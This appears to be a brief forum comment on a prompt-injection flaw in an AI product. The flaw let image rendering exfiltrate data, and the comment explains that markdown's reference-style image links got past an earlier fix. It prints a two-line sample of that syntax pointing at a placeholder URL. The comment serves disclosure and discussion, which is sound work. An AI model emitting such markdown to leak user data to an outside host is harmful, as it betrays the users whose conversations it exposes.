4 ms·
Image rendering to achieve data exfiltration during prompt injection is one of the most common AI application security vulnerabilities. First exploits and fixe
by wunderwuzzi23 1y ago
Image rendering to achieve data exfiltration during prompt injection is one of the most common AI application security vulnerabilities.
First exploits and fixes go back 2+ years.
The noteworthy point to highlight here is a lesser known indirection reference feature in markdown syntax which allowed this bypass, eg:
![logo][ref]
[ref]: https://url.com/data https://url.com/data
It's also interesting that one screenshot shows January 8 2025. not sure when Microsoft learned about this, but could have taken 5 months to fix - which seems very long.